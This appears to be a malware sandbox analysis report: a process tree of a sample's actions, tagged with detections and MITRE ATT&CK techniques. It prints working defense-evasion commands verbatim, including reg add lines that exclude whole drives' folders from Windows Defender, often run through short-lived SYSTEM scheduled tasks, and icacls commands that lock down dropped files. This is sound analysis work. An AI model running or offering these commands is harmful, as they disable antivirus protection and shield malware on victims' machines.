- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4472
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5548
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5096
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3972
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\ZSTdYN\ZSTdYN.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:916
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\ZSTdYN\ZSTdYN.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4544
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\ZSTdYN\ZSTdYN.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6064
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\ZSTdYN\ZSTdYN.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1884
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\ZSTdYN\ZSTdYN.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1112
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\ZSTdYN\ZSTdYN.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1724
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:4408
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2292
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3044
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2016
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\ZSTdYN\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5060
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\ZSTdYN\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5636
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\ZSTdYN\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:480
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\ZSTdYN\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3760
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:6016
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1936
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5028
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:1728
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\ZSTdYN\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3164
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\ZSTdYN\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:476
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\ZSTdYN\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2840
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\ZSTdYN\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4428
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\ZSTdYN\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:548
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\ZSTdYN\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2156
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:3892
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2296
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2092
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2936
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\ZSTdYN\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2008
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\ZSTdYN\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1596
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\ZSTdYN\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5680
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5932
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\ZSTdYN\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3216
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\ZSTdYN\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4996
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\ZSTdYN\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2500
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\ZSTdYN\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4184
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\ZSTdYN\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4128

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\eNSVnq" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4792
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\eNSVnq" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2716

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3684

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1228
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5160

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6084
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5084

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4648
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3432

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3652
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3232

C:\Program Files (x86)\ZSTdYN\ZSTdYN.exe
"C:\Program Files (x86)\ZSTdYN\ZSTdYN.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3016

C:\Program Files (x86)\ecb2659\CI6eZ.exe
"C:\Program Files (x86)\ecb2659\CI6eZ.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2440

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\ZSTdYN" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3224
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\ZSTdYN" /t REG_DWORD /d 0 /f
  2⤵
  PID:5796

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2516
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:4632

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4216
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:1088

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2436
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:3856

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3300
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:3540

C:\Windows\sysWOW64\wbem\wmiprvse.exe
C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1772

C:\Program Files (x86)\ZSTdYN\ZSTdYN.exe
"C:\Program Files (x86)\ZSTdYN\ZSTdYN.exe"
1⤵
PID:6012

C:\Program Files (x86)\ecb2659\CI6eZ.exe
"C:\Program Files (x86)\ecb2659\CI6eZ.exe"
1⤵
PID:3136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery